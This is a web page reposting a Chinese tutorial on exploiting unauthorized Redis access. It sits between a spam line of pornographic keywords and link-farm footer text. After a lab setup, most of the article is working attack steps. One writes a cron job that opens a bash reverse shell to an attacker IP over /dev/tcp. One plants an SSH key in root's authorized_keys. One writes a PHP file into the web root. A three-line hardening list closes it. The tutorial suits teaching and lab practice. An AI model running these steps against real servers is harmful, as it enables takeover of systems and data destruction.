黄色网站入口国产美女,精品国产欧美另类一区,国产一区二区美女自慰,日日摸夜夜添无码国产

選擇你喜歡的標(biāo)簽
我們會為你匹配適合你的網(wǎng)址導(dǎo)航

    確認(rèn) 跳過

    跳過將刪除所有初始化信息

    Redis未授權(quán)訪問漏洞利用總結(jié)

    安全 2021-11-29 14:00

    聲明:該文章來自(先知社區(qū))版權(quán)由原作者所有,K2OS渲染引擎提供網(wǎng)頁加速服務(wù)。

    0x01 redis介紹

    Redis是一個開源的使用ANSI C語言編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫,并提供多種語言的API。從2010年3月15日起,Redis的開發(fā)工作由VMware主持。從2013年5月開始,Redis的開發(fā)由Pivotal贊助。

    Redis因配置不當(dāng)可以未授權(quán)訪問。攻擊者無需認(rèn)證訪問到內(nèi)部數(shù)據(jù),可導(dǎo)致敏感信息泄露,也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù)。

    攻擊者可通過EVAL執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件。

    如果Redis以root身份運(yùn)行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器。

    0x02 本地漏洞環(huán)境搭建

    靶機(jī):CentOS6.5

    CentOS安裝redis:
    wget http://download.redis.io/releases/redis-3.2.0.tar.gz
    
    tar xzf redis-3.2.0.tar.gz
    
    cd redis-3.2.0
    
    make
    

    修改配置文件,使可以遠(yuǎn)程訪問:

    vim redis.conf
    

    bind 127.0.0.1前面加上#號 protected-mode設(shè)為no

    啟動redis-server

    ./src/redis-server redis-conf
    

    默認(rèn)的配置是使用6379端口,沒有密碼。這時候會導(dǎo)致未授權(quán)訪問然后使用redis權(quán)限寫文件。

    0x03 攻擊測試

    nmap掃描服務(wù)器開啟端口

    1.redis基本命令

    連接redis:

    redis-cli -h 192.168.63.130
    

    查看redis版本信息、一些具體信息、服務(wù)器版本信息等等:

    192.168.63.130:6379>info
    

    將變量x的值設(shè)為test:

    192.168.63.130:6379>set x "test"
    

    是把整個redis數(shù)據(jù)庫刪除,一般情況下不要用?。。?/span>

    192.168.63.130:6379>flushall
    

    查看所有鍵:

    192.168.63.130:6379>KEYS *
    

    獲取默認(rèn)的redis目錄、和rdb文件名:可以在修改前先獲取,然后走的時候再恢復(fù)。

    192.168.63.130:6379>CONFIG GET dir
    192.168.63.130:6379>CONFIG GET dbfilename
    

    2.攻擊的幾種方法

    (1).利用計劃任務(wù)執(zhí)行命令反彈shell

    在redis以root權(quán)限運(yùn)行時可以寫crontab來執(zhí)行命令反彈shell

    先在自己的服務(wù)器上監(jiān)聽一個端口

    nc -lvnp 7999
    

    然后執(zhí)行命令:

    root@kali:~# redis-cli -h 192.168.63.130
    
    192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
    
    OK
    
    192.168.63.130:6379> config set dir /var/spool/cron/
    
    OK
    
    192.168.63.130:6379> config set dbfilename root
    
    OK
    
    192.168.63.130:6379> save
    
    OK
    

    nc監(jiān)聽端口已經(jīng)反彈回來shell

    ps:此處使用bash反彈shell,也可使用其他方法

    (2).寫ssh-keygen公鑰然后使用私鑰登陸

    在以下條件下,可以利用此方法

    • Redis服務(wù)使用ROOT賬號啟動
    • 服務(wù)器開放了SSH服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫入一個公鑰,直接登錄遠(yuǎn)程服務(wù)器。

    首先在本地生成一對密鑰:

    root@kali:~/.ssh# ssh-keygen -t rsa
    

    然后redis執(zhí)行命令:

    192.168.63.130:6379> config set dir /root/.ssh/
    
    OK
    
    192.168.63.130:6379> config set dbfilename authorized_keys
    
    OK
    
    192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
    
    OK
    
    192.168.63.130:6379> save
    
    OK
    

    save后可以直接利用公鑰登錄ssh

    (3).往web物理路徑寫webshell

    當(dāng)redis權(quán)限不高時,并且服務(wù)器開著web服務(wù),在redis有web目錄寫權(quán)限時,可以嘗試往web路徑寫webshell

    執(zhí)行以下命令

    192.168.63.130:6379> config set dir /var/www/html/
    
    OK
    
    192.168.63.130:6379> config set dbfilename shell.php
    
    OK
    
    192.168.63.130:6379> set x "<?php phpinfo();?>"
    
    OK
    
    192.168.63.130:6379> save
    
    OK
    

    即可將shell寫入web目錄(web目錄根據(jù)實(shí)際情況)

    0x04 安全配置

    • 限制登錄ip
    • 添加密碼
    • 修改默認(rèn)端口


    關(guān)注我們

    [超站]友情鏈接:

    四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
    關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級服務(wù)市場:https://www.ijiandao.com/

    圖庫